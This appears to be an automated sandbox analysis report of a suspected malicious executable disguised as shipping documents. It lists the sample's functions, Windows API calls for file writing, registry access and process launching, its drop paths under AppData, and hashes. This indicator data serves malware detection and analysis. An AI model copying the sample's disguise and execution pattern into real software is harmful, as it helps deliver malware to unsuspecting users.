Function 004060F9 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,0040349D,00000000,0041EA20,000000FF,0041EA20,000000FF,000000FF,00000004,00000000), ref: 0040610D

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 4494c28c6fc58b77f7b94402ffbb10e79d92760fb9961e7d9dbcb201027e3d13
Instruction ID: 78408803ccc59d93ae5352641a5e7b8f709900c8df5e8e9e13d69f82a1dcf02f
Opcode Fuzzy Hash: 4494c28c6fc58b77f7b94402ffbb10e79d92760fb9961e7d9dbcb201027e3d13
Instruction Fuzzy Hash: 8FE08C3220021ABBCF109E908C00EEB3FACEB003A0F014432FA26E6050D670E83097A4

Function 004063C4 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000000,?,00406452,?,?,?,?,Exec,?,00000000), ref: 004063E8

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 8ee5b0d2344bda13eae74e7442d869633e0228d129a7f9cdea9876c3f2a2c01f
Instruction ID: e31b8ecfa4924c4a0859a1c58e61cb12282203f41ec30ad4fda9f6d7c72ae418
Opcode Fuzzy Hash: 8ee5b0d2344bda13eae74e7442d869633e0228d129a7f9cdea9876c3f2a2c01f
Instruction Fuzzy Hash: 68D0123200020DBBDF115E91ED01FAB3B1DAB08310F014426FE16E5091D776D570A764

Function 004015A8 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015B3

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e4d35ef24f86c86e365822f81ff15bb63714950be14a167d72dedfa96a9168d0
Instruction ID: b7b437a2ec26925c6232407c7e58ab903e49824199ec6a3f71ab3ccdd8f320e3
Opcode Fuzzy Hash: e4d35ef24f86c86e365822f81ff15bb63714950be14a167d72dedfa96a9168d0
Instruction Fuzzy Hash: 81D05B72B08104DBDB01DBE8EA48A9E73B4DB50338B21893BD111F11D0D7B8C545A71D

Function 00404522 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404534

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8dc2ea4a8cffd810c80330d43262312fa0f844130cc7d84a637c392e617d0b66
Instruction ID: 7d988476d572be30e71f68111afb2513933db934ea5b2002f3fecefde51a3b0c
Opcode Fuzzy Hash: 8dc2ea4a8cffd810c80330d43262312fa0f844130cc7d84a637c392e617d0b66
Instruction Fuzzy Hash: ACC04C717402007BDA209F50AD49F07775467A0702F1494797341E51E0C674E550D61C

Function 00405B7D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 00405B8C

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: ExecuteShell
String ID:
API String ID: 587946157-0
Opcode ID: accb29398adcd6f2598047f0fcddae8b07494e52d9cc9fcafc25c5f5f83f3143
Instruction ID: 080962bbef7e268e86b0d243ececfcd1ad47764945baea7f73af6130fa7b9bd6
Opcode Fuzzy Hash: accb29398adcd6f2598047f0fcddae8b07494e52d9cc9fcafc25c5f5f83f3143
Instruction Fuzzy Hash: A9C092F2100201EFE301CF80CB09F067BE8AF54306F028058E1899A060CB788800CB29

Function 0040450B Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00404336), ref: 00404519

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5e23afa4ba150cac51e31494d2c9f0ee7f8efb4361c8cf2b7a73957f204a5961
Instruction ID: 777369a795cbaa9bd4fd16da76cbada5404ff361b75e364c58eeef3f96c31ac9
Opcode Fuzzy Hash: 5e23afa4ba150cac51e31494d2c9f0ee7f8efb4361c8cf2b7a73957f204a5961
Instruction Fuzzy Hash: 6BB09235181600AADA115B40DE09F867BA2E7A4701F029438B340640B0CBB210A0DB08

Function 004034EA Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403247,?), ref: 004034F8

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
Instruction ID: 1f5c7ae16c2334422adcad36111bde95194575cbdac9b1f52e29a9f6e91cc98e
Opcode Fuzzy Hash: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
Instruction Fuzzy Hash: 34B01271240300BFDA214F00DF09F057B21ABA0700F10C034B388380F086711035EB0D

Function 004044F8 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,004042CF), ref: 00404502

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: faa9f1bbc6a73408ed15535010d366895e2d742fa65bef251b9024de670fa5bb
Instruction ID: 186c68f4495094c0cebc3eb7279f68ffc90812dad8dfd9e689695b78415bb769
Opcode Fuzzy Hash: faa9f1bbc6a73408ed15535010d366895e2d742fa65bef251b9024de670fa5bb
Instruction Fuzzy Hash: 43A00176544A04ABCE12EB50EF4990ABB62BBA4B01B618879A285514388B325921EB19

Function 00401FA9 Relevance: 1.3, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 004055DC: lstrlenW.KERNEL32(Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll,00000000,00424620,762323A0,?,?,?,?,?,?,?,?,?,0040341D,00000000,?), ref: 00405614
Part of subcall function 004055DC: lstrlenW.KERNEL32(0040341D,Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll,00000000,00424620,762323A0,?,?,?,?,?,?,?,?,?,0040341D,00000000), ref: 00405624
Part of subcall function 004055DC: lstrcatW.KERNEL32(Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll,0040341D,0040341D,Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll,00000000,00424620,762323A0), ref: 00405637
Part of subcall function 004055DC: SetWindowTextW.USER32(Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll,Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll), ref: 00405649
Part of subcall function 004055DC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040566F
Part of subcall function 004055DC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405689
Part of subcall function 004055DC: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405697

Part of subcall function 00405B3A: CreateProcessW.KERNELBASE(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B63
Part of subcall function 00405B3A: CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B70

CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00401FF0

Part of subcall function 004069F6: WaitForSingleObject.KERNEL32(?,00000064), ref: 00406A07
Part of subcall function 004069F6: GetExitCodeProcess.KERNEL32(?,?), ref: 00406A29

Part of subcall function 0040649E: wsprintfW.USER32 ref: 004064AB

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: 3e0ab9320d322eb7e83734c8f16b68858ef74ab2c998c223a53f08904ab87bbd
Instruction ID: 72ab4701d282d41bfb99937ccb951c9b3d992b5a19319da95f503844dddfcbd3
Opcode Fuzzy Hash: 3e0ab9320d322eb7e83734c8f16b68858ef74ab2c998c223a53f08904ab87bbd
Instruction Fuzzy Hash: EEF0F032804015ABCB20BBA199849DE72B5CF00318B21413FE102B21D1C77C0E42AA6E

Non-executed Functions

Function 004049C7 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404A16
SetWindowTextW.USER32(00000000,?), ref: 00404A40
SHBrowseForFolderW.SHELL32(?), ref: 00404AF1
CoTaskMemFree.OLE32(00000000), ref: 00404AFC
lstrcmpiW.KERNEL32(Exec,0042CA68,00000000,?,?), ref: 00404B2E
lstrcatW.KERNEL32(?,Exec), ref: 00404B3A
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404B4C

Part of subcall function 00405B9B: GetDlgItemTextW.USER32(?,?,00000400,00404B83), ref: 00405BAE

Part of subcall function 00406805: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe",76233420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00406868
Part of subcall function 00406805: CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00406877
Part of subcall function 00406805: CharNextW.USER32(?,"C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe",76233420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 0040687C
Part of subcall function 00406805: CharPrevW.USER32(?,?,76233420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 0040688F

GetDiskFreeSpaceW.KERNEL32(0042AA38,?,?,0000040F,?,0042AA38,0042AA38,?,00000001,0042AA38,?,?,000003FB,?), ref: 00404C0F
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404C2A

Part of subcall function 00404D83: lstrlenW.KERNEL32(0042CA68,0042CA68,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404E24
Part of subcall function 00404D83: wsprintfW.USER32 ref: 00404E2D
Part of subcall function 00404D83: SetDlgItemTextW.USER32(?,0042CA68), ref: 00404E40

Strings

C:\Users\user\AppData\Local\acneform, xrefs: 00404B17
Exec, xrefs: 00404B28, 00404B2D, 00404B38
A, xrefs: 00404AEA

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\acneform$Exec
API String ID: 2624150263-2768821173
Opcode ID: aab1ff152b07609d5ccd452d97b16b322b3ddb3b1e57e49f69f3ed37cd316d4d
Instruction ID: 8a45afd3ee22384d80319c7ed67abe130e578f1d2b392c1e8909742cb30e522b
Opcode Fuzzy Hash: aab1ff152b07609d5ccd452d97b16b322b3ddb3b1e57e49f69f3ed37cd316d4d
Instruction Fuzzy Hash: FCA192B1900208ABDB11EFA5DD45BAFB7B8EF84314F11803BF611B62D1D77C9A418B69

Function 004021AF Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004085E8,?,00000001,004085D8,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040222E

Strings

C:\Users\user\AppData\Local\acneform\Baroco, xrefs: 0040226E

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\acneform\Baroco
API String ID: 542301482-727163374
Opcode ID: 7326b08ec6d512b6b783f70a6e13437ea8f5b6047ef19b1df3461ee5cf714417
Instruction ID: f0c409d0c9855dc16f3492d495f607d4fcaf843261c47ee8c1995525671fe781
Opcode Fuzzy Hash: 7326b08ec6d512b6b783f70a6e13437ea8f5b6047ef19b1df3461ee5cf714417
Instruction Fuzzy Hash: 76411471A00208AFCB40DFE4C989EAD7BB5FF48308B20457AF515EB2D1DB799982CB54

Function 00406DC6 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca9fc840679c4677ea5dd763a2b97f011fd48deb17cd4c9d43ec117c62889360
Instruction ID: a5eb8001d75a17d38d83411349fde439c8a9064fda1b18d7f978e280ae41e255
Opcode Fuzzy Hash: ca9fc840679c4677ea5dd763a2b97f011fd48deb17cd4c9d43ec117c62889360
Instruction Fuzzy Hash: ACE19C71A04709DFCB24CF58C880BAABBF1FF45305F15852EE496A72D1E378AA51CB05

Function 0040759D Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5db23d3e625216a1972a1fea7a98b9ee98c1df0b240da8e2d6c4f39054d3f9c6
Instruction ID: e409ec8ffb443055957628c835c79614664982182129ebc37b3e11cb9bcd83e5
Opcode Fuzzy Hash: 5db23d3e625216a1972a1fea7a98b9ee98c1df0b240da8e2d6c4f39054d3f9c6
Instruction Fuzzy Hash: ECC14772E04219CBCF18CF68C4905EEBBB2BF98354F25866AD85677380D7346942CF95

Function 00404F43 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 489windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404F5B
GetDlgItem.USER32(?,00000408), ref: 00404F66
GlobalAlloc.KERNEL32(00000040,?), ref: 00404FB0
